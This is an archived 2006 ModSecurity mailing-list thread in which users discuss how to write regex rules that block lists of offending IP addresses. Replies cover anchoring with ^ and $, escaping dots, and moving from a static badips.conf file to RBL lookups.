as its a valid regular expression it will work. > > On Fri, 2006-06-23 at 01:33 -0700, Chris H. wrote: >> Greetings, >> I have a question regarding the required syntax for rulesets. >> I have been previously been using deny, allow rules for rouge >> IP's and currently have a list of approximately 500 current and >> verified offenders. With the deny,allow syntax rules, it is possible >> to simply string them in a space seperated list with double quotes >> on either end - eg; "xx.yyy.zz.zzz xxx.xx.xxx.xxx yy.yy.yyyy.yy" >> Is it possible to use a similar approach with rulesets in >> mod_security? I can't imagine having to convert my current set >> to: >> >> SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX" >> >> 500 (and more) times. Can they be seperated by pipe, colon, or >> space? As in: >> >> SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ" >> SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX:YY.YYY.YY.YYY:ZZZ.ZZ.ZZ.ZZ" >> SecFilterSelective "REMOTE_IP" "XX.XX.XXX.XX YY.YYY.YY.YYY ZZZ.ZZ.ZZ.ZZ" >> >> or similar? >> >> Thank you for all your time and consideration. >> >> --Chris H. >> >> _______________________________________________ >> Modsecurity mailing list >> Modsecurity@gotroot.com >> http://lists.gotroot.com/mailman/listinfo/modsecurity > -- > Michael T. Shinn KeyID:0xDAE2EC86 > Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 > > Got Root? http://www.gotroot.com > modsecurity rules: http://www.modsecurityrules.com > Troubleshooting Firewalls: http://troubleshootingfirewalls.com > > -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/c5ca986b/attachment.bin From mike at gotroot.com Fri Jun 23 21:21:07 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <20060623173151.ixrb82dwgkggok80@webmail.1command.com> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> Message-ID: <1151112067.4004.28.camel@localhost.localdomain> On Fri, 2006-06-23 at 17:31 -0700, Chris H. wrote: > or is that not enough. If I'm not mistaken, it _needs_ to be correctly > expressed as: > > SecFilterSelective "REMOTE_IP" "(^XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ$)" > (note: the caret and dollar sign, which you chose to omit in your example). > > or must it be expressed as: > > SecFilterSelective "REMOTE_IP" > "(^XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ\.ZZ\.ZZ\.ZZ$)" > > As you can see, all three of my examples - well, maybe just the last two, > are expressed in RegExp. Can I /correctly/ assume that any of them will > work correctly? Almost there. Technically speaking, you don't _have_ to bound the IP address because modsec should only return four sets of integers, but it doesn't hurt to bound it. I don't, but like I said, it won't hurt and its probably not a bad idea. Second, your bounds need to be outside the parentheses. The parentheses are a set, so you want to set the start and end of the line outside of the set, otherwise you're just say for the first element of your set, start at the beginning of the line, for the second start anywhere, and for the last element, bound the end of the line. Finally, you should escape the dots. I will tell you that in your example not escaping them will work - in that the dots will probably always line up with your regexp dots. In practice, with IP addresses, and REMOTE_ADDR, you're probably OK - but strictly speaking as this is a regular expression you need to follow proper regular expression syntax to get the behavior you want - so always escape your dots if you want them to *be* dots. Plus, it never hurts to be a little paranoid with regexps, you never know what you might get otherwise. :-) SecFilterSelective REMOTE_ADDR "^(XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ \.ZZ\.ZZ\.ZZ)$" > > Thank you again for your reply. Sure, my pleasure. -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From fbsd at 1command.com Fri Jun 23 21:31:51 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <1151112067.4004.28.camel@localhost.localdomain> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> Message-ID: <20060623183151.g2guudbzwco4w04g@webmail.1command.com> Greetings, and thank you very much for your reply. Message recieved clearly and understood. Thank you _very_ much for taking the time to respond. --Chris Quoting Michael Shinn: > On Fri, 2006-06-23 at 17:31 -0700, Chris H. wrote: >> or is that not enough. If I'm not mistaken, it _needs_ to be correctly >> expressed as: >> >> SecFilterSelective "REMOTE_IP" "(^XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ$)" >> (note: the caret and dollar sign, which you chose to omit in your example). >> >> or must it be expressed as: >> >> SecFilterSelective "REMOTE_IP" >> "(^XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ\.ZZ\.ZZ\.ZZ$)" >> >> As you can see, all three of my examples - well, maybe just the last two, >> are expressed in RegExp. Can I /correctly/ assume that any of them will >> work correctly? > > Almost there. Technically speaking, you don't _have_ to bound the IP > address because modsec should only return four sets of integers, but it > doesn't hurt to bound it. I don't, but like I said, it won't hurt and > its probably not a bad idea. > > Second, your bounds need to be outside the parentheses. The parentheses > are a set, so you want to set the start and end of the line outside of > the set, otherwise you're just say for the first element of your set, > start at the beginning of the line, for the second start anywhere, and > for the last element, bound the end of the line. > > Finally, you should escape the dots. I will tell you that in your > example not escaping them will work - in that the dots will probably > always line up with your regexp dots. In practice, with IP addresses, > and REMOTE_ADDR, you're probably OK - but strictly speaking as this is a > regular expression you need to follow proper regular expression syntax > to get the behavior you want - so always escape your dots if you want > them to *be* dots. Plus, it never hurts to be a little paranoid with > regexps, you never know what you might get otherwise. :-) > > SecFilterSelective REMOTE_ADDR "^(XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ > \.ZZ\.ZZ\.ZZ)$" > >> >> Thank you again for your reply. > > Sure, my pleasure. > > -- > Michael T. Shinn KeyID:0xDAE2EC86 > Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 > > Got Root? http://www.gotroot.com > modsecurity rules: http://www.modsecurityrules.com > Troubleshooting Firewalls: http://troubleshootingfirewalls.com > > -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/50252f50/attachment.bin From mike at gotroot.com Fri Jun 23 21:38:28 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <20060623183151.g2guudbzwco4w04g@webmail.1command.com> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> Message-ID: <1151113108.4004.30.camel@localhost.localdomain> My pleasure. On Fri, 2006-06-23 at 18:31 -0700, Chris H. wrote: > Greetings, and thank you very much for your reply. > Message recieved clearly and understood. Thank you _very_ > much for taking the time to respond. > > --Chris > > Quoting Michael Shinn: > > > On Fri, 2006-06-23 at 17:31 -0700, Chris H. wrote: > >> or is that not enough. If I'm not mistaken, it _needs_ to be correctly > >> expressed as: > >> > >> SecFilterSelective "REMOTE_IP" "(^XX.XX.XXX.XX|YY.YYY.YY.YYY|ZZZ.ZZ.ZZ.ZZ$)" > >> (note: the caret and dollar sign, which you chose to omit in your example). > >> > >> or must it be expressed as: > >> > >> SecFilterSelective "REMOTE_IP" > >> "(^XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ\.ZZ\.ZZ\.ZZ$)" > >> > >> As you can see, all three of my examples - well, maybe just the last two, > >> are expressed in RegExp. Can I /correctly/ assume that any of them will > >> work correctly? > > > > Almost there. Technically speaking, you don't _have_ to bound the IP > > address because modsec should only return four sets of integers, but it > > doesn't hurt to bound it. I don't, but like I said, it won't hurt and > > its probably not a bad idea. > > > > Second, your bounds need to be outside the parentheses. The parentheses > > are a set, so you want to set the start and end of the line outside of > > the set, otherwise you're just say for the first element of your set, > > start at the beginning of the line, for the second start anywhere, and > > for the last element, bound the end of the line. > > > > Finally, you should escape the dots. I will tell you that in your > > example not escaping them will work - in that the dots will probably > > always line up with your regexp dots. In practice, with IP addresses, > > and REMOTE_ADDR, you're probably OK - but strictly speaking as this is a > > regular expression you need to follow proper regular expression syntax > > to get the behavior you want - so always escape your dots if you want > > them to *be* dots. Plus, it never hurts to be a little paranoid with > > regexps, you never know what you might get otherwise. :-) > > > > SecFilterSelective REMOTE_ADDR "^(XX\.XX\.XXX\.XX|YY\.YYY\.YY\.YYY|ZZZ > > \.ZZ\.ZZ\.ZZ)$" > > > >> > >> Thank you again for your reply. > > > > Sure, my pleasure. > > > > -- > > Michael T. Shinn KeyID:0xDAE2EC86 > > Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 > > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 > > > > Got Root? http://www.gotroot.com > > modsecurity rules: http://www.modsecurityrules.com > > Troubleshooting Firewalls: http://troubleshootingfirewalls.com > > > > > > > -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From brectanu at gmail.com Fri Jun 23 22:28:38 2006 From: brectanu at gmail.com (Brian Rectanus) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <1151113108.4004.30.camel@localhost.localdomain> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> <1151113108.4004.30.camel@localhost.localdomain> Message-ID: [Sorry, replied only to Mike and ment it for the list...] Hi Mike, Further along these lines, there are a few mistakes (poor assumptions?) in the badips.conf that should be corrected. Not all of the IPs need bound, but some do. To be safe (and actually faster at matching given a large set like badips.conf) consider binding them all. This is one of the reasons I would not use this list to do any blocking. Consider these which are fine: SecFilterSelective REMOTE_ADDR 195\.18\.128\.230 SecFilterSelective REMOTE_ADDR 200\.118\.69\.30 Both begin with 3 digits and a dot. One ends w/3 digits and the other 2, but high enough that adding to the end is impossible (> 255). Now consider this one which is subtly incorrect: SecFilterSelective REMOTE_ADDR "64\.75\.68\.15" Why? Because they also match these IPs: 1?64\.75\.68\.15[0-9]? So, along with blocking some poor shmoes at an IP from "Ulster County BOCES", you also just blocked 11 additional (legitimate?) IPs from the Parliment of Austrailia (http://www.aph.gov.au/) range. Oops. So, to prevent this type of mishap, I suggest always bounding with ^/$ for IPs. Later. And keep up the great work as it is definitly appreciated. -B From mike at gotroot.com Fri Jun 23 22:49:37 2006 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:32 2008 Subject: [Fwd: Re: [Modsecurity] Rules for rulsets] Message-ID: <1151117377.4004.53.camel@localhost.localdomain> For the whole list. -------------- next part -------------- An embedded message was scrubbed... From: Michael Shinn Subject: Re: [Modsecurity] Rules for rulsets Date: Fri, 23 Jun 2006 22:45:34 -0400 Size: 3864 Url: http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/4f2b813b/attachment.mht From fbsd at 1command.com Fri Jun 23 23:18:00 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> <1151113108.4004.30.camel@localhost.localdomain> Message-ID: <20060623201800.belt64b9q80g8408@webmail.1command.com> Hello, I also wondered a little about beginning and ending IP's with 2, as well as 1 IP. Given your experience, can I assume that since I begin and end this list with 3 that those in the middle won't run into trouble eg; matching additional numbers at either end of their range? Here's my current list: SecFilterSelective REMOTE_ADDR \ "^(194.72.238.10|194.72.238.13|194.72.238.14|194.72.238.15|194.72.238.16|194.72.238.19|194.72.238.62|194.72.238.61|83.138.189.100|83.138.190.203|194.72.238.11|69.20.95.4|65.61.188.4|216.145.17.190|66.249.4.251|64.246.161.26|209.59.193.17|64.246.165.245|69.28.247.250|61.54.16.6|164.125.118.29|66.34.236.1|219.84.169.236|62.29.136.20|81.176.76.47|66.49.214.139|12.215.94.57|80.239.107.45|194.72.238.62|82.135.33.98|82.127.23.55|219.64.36.34|69.60.110.111|202.159.115.138|221.217.184.131|60.239.12.98|222.107.35.143|82.83.212.125|199.227.64.94|203.250.148.13|84.97.214.143|69.120.1.128|210.224.164.36|162.129.37.180|80.53.80.182|80.81.122.177|83.16.187.6|82.134.230.32|62.40.150.221|219.83.54.52|193.92.9.19|202.84.115.11|209.121.67.172|124.0.225.70|62.40.150.221|219.134.212.207|222.51.213.172|220.162.129.197|140.125.20.107|202.58.85.6|203.200.93.155|194.68.63.142|62.20.220.70|66.77.128.77|195.205.178.230|208.138.21.64|200.27.187.52|66.224.214.11|218.11.207.244|210.87.251.106|213.114.21! .63|200.61.183.237|201.12.106.2|62.178.210.9|204.83.56.144|69.95.136.131|84.58.232.52|207.90.211.54|70.168.74.193|69.17.157.154|210.3.4.193|68.87.72.169|66.161.95.147|217.58.71.101|69.94.80.15|172.192.99.104|147.202.43.153|216.7.168.224|83.14.11.178|81.7.76.61|212.100.254.113|206.71.166.2|85.14.216.209|210.253.120.121|81.91.225.142|211.115.70.163|59.49.233.25|69.13.31.57|129.8.238.39|211.100.33.61|211.115.70.163|211.100.33.61|61.183.15.41|132.248.200.16|200.46.107.131|61.97.32.12|69.17.157.154|70.168.74.193|207.90.211.54|220.170.53.194|220.123.171.125|61.60.21.226|61.135.159.152|61.135.170.153|81.223.25.117|69.19.225.155|61.134.32.18|61.185.208.83|59.124.127.103|164.77.238.114|66.34.240.128|211.214.161.239|61.183.15.41|211.100.33.61|85.112.145.11|220.64.88.9|24.128.223.238|66.77.128.77|67.50.47.52|62.116.40.112|150.101.121.80|62.116.40.112|200.122.153.10|68.87.76.152|69.41.54.49|12.193.208.2|212.68.193.242|196.40.43.78|199.170.103.17|218.189.215.178|80.53.0.29|201.243.180.1! 28|60.236.29.243|203.177.167.195|201.45.178.36|61.178.21.179|2! 16.102.2 12.115|131.220.92.80|65.40.8.141|220.181.9.119|210.82.46.66|207.210.86.105|202.83.32.124|66.81.231.52|66.17.15.154|38.99.203.110|201.18.140.207|62.252.64.30|203.124.171.20|38.99.203.110|61.97.32.12|192.91.171.36|219.117.251.138|72.18.195.161|38.99.203.110|212.36.65.144|72.18.195.161|68.185.24.2|220.227.125.124|220.194.57.112|216.235.153.4|203.125.140.52|82.231.38.27|61.135.170.159|83.138.146.85|64.91.231.91|202.138.112.252|209.97.203.36|64.92.201.114)$" Is it safe? Thank you for your consideration. --Chris Quoting Brian Rectanus: > [Sorry, replied only to Mike and ment it for the list...] > > Hi Mike, > > Further along these lines, there are a few mistakes (poor > assumptions?) in the badips.conf that should be corrected. Not all of > the IPs need bound, but some do. To be safe (and actually faster at > matching given a large set like badips.conf) consider binding them > all. This is one of the reasons I would not use this list to do any > blocking. > > Consider these which are fine: > > SecFilterSelective REMOTE_ADDR 195\.18\.128\.230 > SecFilterSelective REMOTE_ADDR 200\.118\.69\.30 > > Both begin with 3 digits and a dot. One ends w/3 digits and the other > 2, but high enough that adding to the end is impossible (> 255). > > Now consider this one which is subtly incorrect: > > SecFilterSelective REMOTE_ADDR "64\.75\.68\.15" > > Why? Because they also match these IPs: > > 1?64\.75\.68\.15[0-9]? > > So, along with blocking some poor shmoes at an IP from "Ulster County > BOCES", you also just blocked 11 additional (legitimate?) IPs from the > Parliment of Austrailia (http://www.aph.gov.au/) range. Oops. > > So, to prevent this type of mishap, I suggest always bounding with > ^/$ for IPs. > > Later. And keep up the great work as it is definitly appreciated. > -B > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity > -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/74676750/attachment.bin From brectanu at gmail.com Fri Jun 23 23:40:23 2006 From: brectanu at gmail.com (Brian Rectanus) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: <20060623201800.belt64b9q80g8408@webmail.1command.com> References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> <1151113108.4004.30.camel@localhost.localdomain> <20060623201800.belt64b9q80g8408@webmail.1command.com> Message-ID: On 6/23/06, Chris H. wrote: > Hello, > I also wondered a little about beginning and ending IP's with 2, > as well as 1 IP. Given your experience, can I assume that since I > begin and end this list with 3 that those in the middle won't run > into trouble eg; matching additional numbers at either end of their range? > Here's my current list: > > SecFilterSelective REMOTE_ADDR \ > "^(194.72.238.10|194.72.238.13|194.72.238.14|194.72.238.15|194.72.238.16|194.72.238.19|194.72.238.62|194.72.238.61|83.138.189.100|83.138.190.203|194.72.238.11|69.20.95.4|65.61.188.4|216.145.17.190|66.249.4.251|64.246.161.26|209.59.193.17|64.246.165.245|69.28.247.250|61.54.16.6|164.125.118.29|66.34.236.1|219.84.169.236|62.29.136.20|81.176.76.47|66.49.214.139|12.215.94.57|80.239.107.45|194.72.238.62|82.135.33.98|82.127.23.55|219.64.36.34|69.60.110.111|202.159.115.138|221.217.184.131|60.239.12.98|222.107.35.143|82.83.212.125|199.227.64.94|203.250.148.13|84.97.214.143|69.120.1.128|210.224.164.36|162.129.37.180|80.53.80.182|80.81.122.177|83.16.187.6|82.134.230.32|62.40.150.221|219.83.54.52|193.92.9.19|202.84.115.11|209.121.67.172|124.0.225.70|62.40.150.221|219.134.212.207|222.51.213.172|220.162.129.197|140.125.20.107|202.58.85.6|203.200.93.155|194.68.63.142|62.20.220.70|66.77.128.77|195.205.178.230|208.138.21.64|200.27.187.52|66.224.214.11|218.11.207.244|210.87.251.106|213.114.21! > .63|200.61.183.237|201.12.106.2|62.178.210.9|204.83.56.144|69.95.136.131|84.58.232.52|207.90.211.54|70.168.74.193|69.17.157.154|210.3.4.193|68.87.72.169|66.161.95.147|217.58.71.101|69.94.80.15|172.192.99.104|147.202.43.153|216.7.168.224|83.14.11.178|81.7.76.61|212.100.254.113|206.71.166.2|85.14.216.209|210.253.120.121|81.91.225.142|211.115.70.163|59.49.233.25|69.13.31.57|129.8.238.39|211.100.33.61|211.115.70.163|211.100.33.61|61.183.15.41|132.248.200.16|200.46.107.131|61.97.32.12|69.17.157.154|70.168.74.193|207.90.211.54|220.170.53.194|220.123.171.125|61.60.21.226|61.135.159.152|61.135.170.153|81.223.25.117|69.19.225.155|61.134.32.18|61.185.208.83|59.124.127.103|164.77.238.114|66.34.240.128|211.214.161.239|61.183.15.41|211.100.33.61|85.112.145.11|220.64.88.9|24.128.223.238|66.77.128.77|67.50.47.52|62.116.40.112|150.101.121.80|62.116.40.112|200.122.153.10|68.87.76.152|69.41.54.49|12.193.208.2|212.68.193.242|196.40.43.78|199.170.103.17|218.189.215.178|80.53.0.29|201.243.180.1! > 28|60.236.29.243|203.177.167.195|201.45.178.36|61.178.21.179|2! > 16.102.2 > 12.115|131.220.92.80|65.40.8.141|220.181.9.119|210.82.46.66|207.210.86.105|202.83.32.124|66.81.231.52|66.17.15.154|38.99.203.110|201.18.140.207|62.252.64.30|203.124.171.20|38.99.203.110|61.97.32.12|192.91.171.36|219.117.251.138|72.18.195.161|38.99.203.110|212.36.65.144|72.18.195.161|68.185.24.2|220.227.125.124|220.194.57.112|216.235.153.4|203.125.140.52|82.231.38.27|61.135.170.159|83.138.146.85|64.91.231.91|202.138.112.252|209.97.203.36|64.92.201.114)$" > > Is it safe? > > Thank you for your consideration. > > --Chris > As long as you use ^ and $ and \. there cannot be any additional matching by pre/appending digits. I don't think it is any faster (and may be slower) to used a large OR list like that. In any case, I would split them up into single rules, each blocked with ^ and $ just because it is more maintainable and less prone to miss some small error in the RE. I *do* think that using the ^ and $ *is* faster than without, though, because often you can short circuit the match on the first character instead of trying to shift the RE around for an internal match. If you want better speed, and don't care for maintenance, then try something like this for each subnet (untested): SecFilterSelective REMOTE_ADDR "^194\.72\.238\." chain SecFilterSelective REMOTE_ADDR "(?:1[034569]|6[12])$" Which would (more efficiently?) match all of these: 194.72.238.10 194.72.238.13 194.72.238.14 194.72.238.15 194.72.238.16 194.72.238.19 194.72.238.61 194.72.238.62 But, is *much* less readable then 8 separate rules and going to be more prone to errors. As Mike wrote, RBLs are the way to go for large lists, though. -B From brectanu at gmail.com Fri Jun 23 23:56:44 2006 From: brectanu at gmail.com (Brian Rectanus) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> <1151113108.4004.30.camel@localhost.localdomain> <20060623201800.belt64b9q80g8408@webmail.1command.com> Message-ID: On 6/23/06, Brian Rectanus wrote: > > SecFilterSelective REMOTE_ADDR "^194\.72\.238\." chain > SecFilterSelective REMOTE_ADDR "(?:1[034569]|6[12])$" > Actually, I originally had a more complex example and cut it down. For that single subnet example, this is probably better: SecFilterSelective REMOTE_ADDR "^194\.72\.238\.(?:1[034569]|6[12])$" -B From fbsd at 1command.com Sat Jun 24 00:40:29 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Fwd: Re: [Modsecurity] Rules for rulsets] In-Reply-To: <1151117377.4004.53.camel@localhost.localdomain> References: <1151117377.4004.53.camel@localhost.localdomain> Message-ID: <20060623214029.wfr22gm40swsk8sk@webmail.1command.com> Quoting Michael Shinn: On Fri, 2006-06-23 at 22:21 -0400, Brian Rectanus wrote: >> Hi Mike, >> >> Further along these lines, there are a few mistakes (poor >> assumptions?) in the badips.conf that should be corrected. > > Thanks for the comment. badips.conf is totally depreciated (and if I > wasn't clear, it has been for some time). I just haven't gotten around > to removing it yet from the website, so folks, I will not be making any > fixes to badips.conf. There is a much better: gotroot RBLS. ---------------8<---[snip]-8<-------- > Realtime RBL lookups not only scale better (I can publish millions of > records if I want, and it won't kill your box! Hurray!), but if you run > a local caching DNS your performance will be faster than mod_security > lookups against the current IPs file. Also, this method also allows for > IPs to be added and removed, well in real time. So three good reasons > to use RBLs only. :-) > > I have a test RBL right now, if you want to try out the new way to do > badips.conf, via RBL, let me know and I'll send you the details. You > have to promise though that you won't send your irrate users to me to > remove them - this is currently a test RBL without a web frontend to > allow easy removals. There may be mistakes, I might flip out a start > blocking people with blue eyes. Who knows, it could get ugly. Then > again, it might be amazing, and you simply won't be able to live without > it. Then again, its no different than badips.conf at present (theres no > automatic way to remove yourself from that list either). > > I'm pretty close to opening the RBL up completely, I'm just about to launch a PRBL as well. We have a large server farm and as DNS is our primary service, also given that we second for a public email RBL, this just seemed a natural direction. I'm currently preparing one of the boxes now. I will likely host it on internethell.NET but possibly on ultimatedns.NET. I'm certainly not opposed to collaboration, should this sound remotely interesting to you. Feel free to contact me off the list. > but I want to finish > the web frontend so that users with infected machines can complain that > their systems should be removed from the RBL or else they will sue me. > (Happened already... and we laughed and laughed... ah... fix computer or > threaten to spend thousands on lawyer to sue someone blocking you from > connecting to their website... sue! sue! Money grows on trees! I have > a right to use your computer for my own purposes! How dare you deny me > from using your stuff!) > > Yeah... so I gotta finish the web front end first. :-) > > Anyway, the RBL is close to being done (I'm using it now), so if you > want to do things the new way, let me know and I'll send you details > about how to use. Or, just wait a little while and I'll open it to the > whole universe. --Chris -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com modsecurity rules: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -- panic: kernel trap (ignored) ----------------------------------------------------------------- FreeBSD 5.4-RELEASE-p12 (SMP - 900x2) Tue Mar 7 19:37:23 PST 2006 ///////////////////////////////////////////////////////////////// -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: PGP Digital Signature Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20060623/37a31344/attachment.bin From fbsd at 1command.com Sat Jun 24 01:22:20 2006 From: fbsd at 1command.com (Chris H.) Date: Mon Jan 7 18:22:32 2008 Subject: [Modsecurity] Rules for rulsets In-Reply-To: References: <20060623013321.wjp20yky88sk8kc4@webmail.1command.com> <1151093882.4004.2.camel@localhost.localdomain> <20060623173151.ixrb82dwgkggok80@webmail.1command.com> <1151112067.4004.28.camel@localhost.localdomain> <20060623183151.g2guudbzwco4w04g@webmail.1command.com> <1151113108.4004.30.camel@localhost.localdomain> <20060623201800.belt64b9q80g8408@webmail.1command.com> Message-ID: <20060623222220.ureuq13yrk4gowkc@webmail.1command.com> Hello, and thank you for taking the time to respond... Quoting Brian Rectanus: > On 6/23/06, Chris H. wrote: >> Hello, >> I also wondered a little about beginning and ending IP's with 2, >> as well as 1 IP. Given your experience, can I assume that since I >> begin and end this list with 3 that those in the middle won't run >> into trouble eg; matching additional numbers at either end of their range? >> Here's my current list: >> >> SecFilterSelective REMOTE_ADDR \ >> "^(194.72.238.10|194.72.238.13|194.72.238.14|194.72.238.15|194.72.238.16|194.72.238.19|194.72.238.62|194.72.238.61|83.138.189.100|83.138.190.203|194.72.238.11|69.20.95.4|65.61.188.4|216.145.17.190|66.249.4.251|64.246.161.26|209.59.193.17|64.246.165.245|69.28.247.250|61.54.16.6|164.125.118.29|66.34.236.1|219.84.169.236|62.29.136.20|81.176.76.47|66.49.214.139|12.215.94.57|80.239.107.45|194.72.238.62|82.135.33.98|82.127.23.55|219.64.36.34|69.60.110.111|202.159.115.138|221.217.184.131|60.239.12.98|222.107.35.143|82.83.212.125|199.227.64.94|203.250.148.13|84.97.214.143|69.120.1.128|210.224.164.36|162.129.37.180|80.53.80.182|80.81.122.177|83.16.187.6|82.134.230.32|62.40.150.221|219.83.54.52|193.92.9.19|202.84.115.11|209.121.67.172|124.0.225.70|62.40.150.221|219.134.212.207|222.51.213.172|220.162.129.197|140.125.20.107|202.58.85.6|203.200.93.155|194.68.63.142|62.20.220.70|66.77.128.77|195.205.178.230|208.138.21.64|200.27.187.52|66.224.214.11|218.11.207.244|210.87.251.106|213.114! .21! >> >> 